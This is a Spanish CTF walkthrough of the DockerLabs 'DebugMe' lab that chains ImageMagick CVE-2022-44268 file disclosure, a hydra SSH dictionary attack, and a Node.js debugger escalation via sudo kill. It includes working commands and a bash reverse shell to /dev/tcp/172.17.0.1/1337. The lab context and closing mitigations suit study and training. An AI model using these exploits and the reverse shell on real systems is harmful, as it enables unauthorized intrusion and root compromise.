DockerLabs Writeup — DebugMe (Spanish)

A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “DebugMe”.

Este laboratorio está catalogado con la dificultad “Difícil” y su autor es “Lenam”.

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Contraseña débil, Configuración débil de servicio, *Common Vulnerabilities and Exposures* (CVE), Divulgación de información, Node.js, Privilegios SUDO

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

• Explotación de un componente de procesamiento de imágenes que presenta una vulnerabilidad de divulgación de información, lo que permite extraer información sensible del servidor.
• Descubrimiento de la contraseña asociada al usuario del sistema **lenam mediante ataque de diccionario al servicio SSH**, que permite el acceso inicial al sistema.
• Detección de una configuración específica de un servicio que expone una aplicación escrita en Node.js combinado con unos privilegios SUDO. Esto permite la activación del depurador de Node.js con el cual es posible ejecutar código arbitrario y escalar privilegios al usuario root, debido a que la aplicación se ejecuta bajo su contexto.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 172.17.0.2

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 22,80,443 -n -Pn 172.17.0.2 -oN services

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (lenam)

En este caso se detecta que hay tres puertos abiertos:

• Puerto 22 (servicio SSH, OpenSSH)
• Puerto 80 (servicio HTTP, Apache httpd)
• Puerto 443 (servicio HTTPS, Apache httpd)

Al revisar tanto el puerto 80 como el 443, se detecta en ambos una misma página, dando a entender que ambos sirven el mismo servicio. La página contiene una funcionalidad denominada “Redimensionar Imagen/PDF”.

Este funcionalidad se encarga de obtener un recurso ya sea una imagen o un archivo PDF y redimensionar su contenido a los diferentes tamaños especificados.

URL: http://172.17.0.2
URL: https://172.17.0.2

Tras escanear ambas páginas y confirmar que sirven exactamente el mismo contenido, se detecta de forma adicional un archivo “info.php”.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32

Este archivo muestra de forma detallada la información específica asociada a la instalación de PHP del servidor. Al revisarlo, se detecta que el módulo de ImageMagick se encuentra instalado y habilitado, encontrándose en la versión “6.9.7–4 Q16” concretamente.

URL: http://172.17.0.2/info.php

Tras investigar la versión específica, se detecta que esta presenta una vulnerabilidad de divulgación de información (**CVE-2022–44268**).

Esta vulnerabilidad permite a un atacante leer archivos de forma arbitraria del servidor. Esto ocurre al procesar imágenes PNG, ya que el contenido de archivos sensibles puede quedar incrustado en la imagen resultante siempre que tenga permisos de lectura sobre este.

Además, se encuentra un exploit que documenta el proceso de explotación y facilita un script para probarlo.

Referencia: https://nvd.nist.gov/vuln/detail/CVE-2022-44268
Exploit (PoC): https://github.com/entr0pie/CVE-2022-44268

Como este módulo se puede estar utilizando en esta funcionalidad para el procesamiento de las imágenes subidas, es posible que se pueda explotar esta vulnerabilidad para extraer información sensible del sistema objetivo.

Para ello, se clona el repositorio del exploit y siguiendo las instrucciones indicadas se utiliza el exploit para generar una imagen nueva que incluya dentro como metadato un perfil de datos incrustado (“Profile”), especificando como valor la ruta absoluta el archivo que se desea leer, en este caso “/etc/passwd”.

El script se encarga de automatizar este proceso para a partir de una imagen que ya contempla el propio script (source.png) generar la imagen final con los metadatos actualizados (output.png).

Se puede comprobar con la herramienta “exiftool” que el metadato se ha incrustado satisfactoriamente.

git clone https://github.com/entr0pie/CVE-2022-44268.git
cd CVE-2022-44268
python3 CVE-2022-44268.py

python3 CVE-2022-44268.py /etc/passwd
ls -al
exiftool output.png

A continuación, la imagen resultante se sube a través de la funcionalidad para redimensionar disponible en la web, especificando un tamaño cualquiera.

Tras pulsar en “Redimensionar”, automáticamente aparece la imagen redimensionada en la propia página.

Para inspeccionar más en detalle la imagen, esta se guarda con el nombre de “result.png”. Una vez descargada, se puede apreciar que este ha cargado información sobre el campo “Raw profile type”. Este almacena el contenido del archivo “/etc/passwd” del sistema objetivo, pero en formato hexadecimal.

identify -verbose result.png

Ignorando los primeros 4 dígitos, es posible convertir a texto plano lo que almacena para poder leer la información que contiene. Lo interesante que se puede extraer de este es la existencia de un usuario denominado “lenam”.

python3 -c "print(bytes.fromhex('<CADENA_HEXADECIMAL_AQUI>'))"
...

lenam:x:1001:1001::/home/lenam:/bin/bash

Una vez conocido este usuario del sistema, se prueba a realizar un ataque de diccionario sobre el servicio SSH para intentar descubrir su contraseña. No tarda mucho hasta que finalmente la detecta.

hydra -l lenam -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -I -f -t 32

Con las credenciales recientemente descubiertas es posible acceder al sistema a través del servicio SSH como el usuario “lenam”.

ssh lenam@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname

Escalada de privilegios (lenam -> root)

Al listar los privilegios SUDO, se puede comprobar que el usuario “lenam” puede ejecutar el binario “/bin/kill” como cualquier usuario del sistema proporcionando la contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

• (ALL) /bin/kill

sudo -l
(introducir contraseña del usuario "lenam")

Tras continuar enumerando se detecta un servicio expuesto de forma local que parece ofrecer una aplicación escrita en Node.js.

Esta parece estar ejecutándose en el contexto del usuario “root”, configurado para que se reinicie automáticamente en el caso de cualquier error, pero no es modificable por el usuario actual.

netstat -ano
curl http://127.0.0.1:8000

cat /opt/docker/etc/supervisor.d/nodejs.conf
cat /index.js
ps aux | grep -i index.js

Esta configuración en combinación con los privilegios SUDO encontrados previamente permite una escalada de privilegios muy concreta.

Como el servicio va a ser reiniciado en el caso de que dé cualquier error, es posible utilizar el comando “kill” con privilegios elevados para emitir una “flag” específica al proceso en ejecución para hacer que fuerce el inicio del depurador de Node.js y esté disponible una vez el servicio se reinicie.

Referencia: https://hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html?highlight=kill%20privesc#cap_kill

Tras hacer esto, es posible comprobar que un nuevo puerto se encuentra disponible de forma local en el sistema objetivo, el cual corresponde al puerto del depurador de Node.js (puerto 9229).

ps aux | grep -i index.js
netstat -ntlp

sudo -u root /bin/kill -s SIGUSR1 <PID de index.js>
(introducir contraseña del usuario "lenam")
(esperar un poco a que se reinicie el servicio)
netstat -ntlp

Como es posible acceder directamente al depurador de Node.js, es posible inspeccionar la aplicación en ejecución de forma interactiva.

Referencia: https://nodejs.org/learn/getting-started/debugging

node inspect 127.0.0.1:9229

Según la documentación oficial, esto permite la ejecución de código arbitrario en el contexto de la aplicación (en este caso, “root”). Por ello, para obtener una consola interactiva sobre este usuario, primero se establece un puerto a la escucha.

rlwrap nc -nvlp 1337

Al poder ejecutar código Node.js al interactuar con el depurador, se ejecuta una consola inversa escrita para este entorno en particular.

exec("process.mainModule.require('child_process').exec<AQUI LA CONSOLA INVERSA>")  
Consola inversa: ('/bin/bash -c \"/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1\"')

Tras revisar el puerto a la escucha previamente establecido se puede comprobar que se ha obtenido acceso como el usuario “root”.

whoami
id
hostname

En este punto, al haber obtenido acceso a la cuenta “root”, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

Mitigaciones a aplicar

• Asegurarse de que los servicios expuestos estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
• Limitar el número de intentos de acceso erróneos para servicios de acceso remoto como SSH para disuadir posibles amenazas.
• Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
• Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
• Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como “**CIS Benchmarks*” para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software* y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com